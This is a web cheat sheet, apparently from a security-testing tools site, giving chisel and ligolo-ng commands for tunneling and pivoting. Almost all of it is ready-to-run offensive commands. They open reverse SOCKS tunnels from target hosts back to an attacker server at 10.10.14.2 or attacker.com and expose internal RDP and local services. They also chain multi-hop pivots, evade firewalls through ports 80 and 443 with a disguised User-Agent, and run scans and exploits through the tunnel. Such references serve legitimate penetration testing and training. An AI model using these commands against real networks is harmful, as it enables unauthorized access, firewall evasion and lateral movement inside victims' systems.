Chisel Tunneling & Pivoting Cheatsheet

Complete chisel reference for TCP/SOCKS tunneling, reverse port forwarding, multi-hop pivoting, and firewall evasion. (25 payloads)

Server Setup (Attacker)

(4)

chisel server -p 8080 --reverse

Start reverse tunnel server on port 8080 (allows clients to push tunnels)

chisel server -p 443 --reverse --tls-domain attacker.com

Server with TLS using Let's Encrypt cert (port 443 for firewall bypass)

chisel server -p 8080 --reverse --auth user:pass

Server with authentication

chisel server -p 8080 --reverse --socks5

Server with SOCKS5 support

Client Commands (Target)

(6)

chisel client 10.10.14.2:8080 R:socks

Reverse SOCKS5 proxy on attacker port 1080 (default)

chisel client 10.10.14.2:8080 R:1080:socks

Reverse SOCKS5 proxy on attacker port 1080 (explicit)

chisel client 10.10.14.2:8080 R:3389:192.168.1.100:3389

Reverse port forward — expose internal RDP to attacker

chisel client 10.10.14.2:8080 R:8888:127.0.0.1:8080

Expose target's localhost:8080 on attacker as port 8888

chisel client 10.10.14.2:8080 3000:192.168.1.100:3000

Forward tunnel — connect to internal host via attacker port 3000

chisel client 10.10.14.2:8080 --auth user:pass R:socks

Client with authentication

proxychains Configuration

(5)

echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf

Add chisel SOCKS5 proxy to proxychains config

proxychains nmap -sT -Pn 192.168.1.0/24

Nmap through chisel tunnel via proxychains (TCP only)

proxychains curl http://192.168.1.100/

curl through tunnel

proxychains python3 exploit.py

Run exploit through tunnel

proxychains ssh [email protected]

SSH to internal host through tunnel

Multi-Hop Pivoting

(3)

# Hop 1 (Attacker → Target1):
chisel server -p 8080 --reverse  # attacker
chisel client 10.10.14.2:8080 R:1080:socks  # target1

Hop 1: Create SOCKS tunnel from Target1 to Attacker

# Hop 2 (Target1 → Target2 via Hop1):
proxychains chisel client 10.10.14.2:8081 R:1081:socks  # run on target1 via socks

Hop 2: Tunnel from Target2 through Target1 to Attacker (use different port 8081/1081)

proxychains4 -f /etc/proxychains4.conf nmap -sT 172.16.0.0/24

Reach second subnet through double pivot

Firewall Bypass Techniques

(4)

chisel server -p 443 --reverse

Use port 443 — commonly allowed outbound through firewalls

chisel server -p 80 --reverse

Use port 80 — HTTP traffic often allowed outbound

chisel client --header "User-Agent: Mozilla/5.0" attacker.com:443 R:socks

Disguise traffic with browser User-Agent

chisel server -p 8080 --reverse --tls-skip-verify

TLS without cert verification (testing only)

Alternative: ligolo-ng

(3)

./proxy -selfcert -laddr 0.0.0.0:11601 # attacker

ligolo-ng proxy server (better than chisel for complex networks)

./agent -connect 10.10.14.2:11601 -ignore-cert # target

ligolo-ng agent on target

ip route add 192.168.1.0/24 dev ligolo # attacker

Add route — full network access without proxychains

ShareX LinkedIn Reddit

Level up your security testing

Install the CLI

npx payload-playground

Explore All Tools

Encoding, hashing, JWT & more

Browse Cheat Sheets

Quick-reference payload guides

Related Generators

Reverse Shell

Related Cheat Sheets

Linux Privilege Escalation Cheat Sheet Post-Exploitation Cheat Sheet Active Directory & Kerberos Cheat Sheet

$loading...